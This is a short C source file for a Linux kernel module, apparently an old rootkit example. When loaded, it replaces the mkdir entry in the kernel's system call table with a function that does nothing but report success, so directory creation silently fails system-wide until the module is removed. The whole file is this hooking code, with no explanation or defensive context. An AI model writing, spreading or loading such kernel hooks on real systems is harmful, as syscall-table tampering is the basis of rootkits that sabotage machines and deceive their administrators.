#define MODULE

#define __KERNEL__

#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>

extern void* sys_call_table[]; /*sys_call_table is exported, so we can access it*/

int (*orig_mkdir)(const char *path); /*the original systemcall*/

int hacked_mkdir(const char *path)

{

return 0; /*everything is ok, but he new systemcall

does nothing*/

}

int init_module(void) /*module setup*/

{

orig_mkdir=sys_call_table[SYS_mkdir];

sys_call_table[SYS_mkdir]=hacked_mkdir;

return 0;

}

void cleanup_module(void) /*module shutdown*/

{

sys_call_table[SYS_mkdir]=orig_mkdir; /*set mkdir syscall to the origal

one*/

}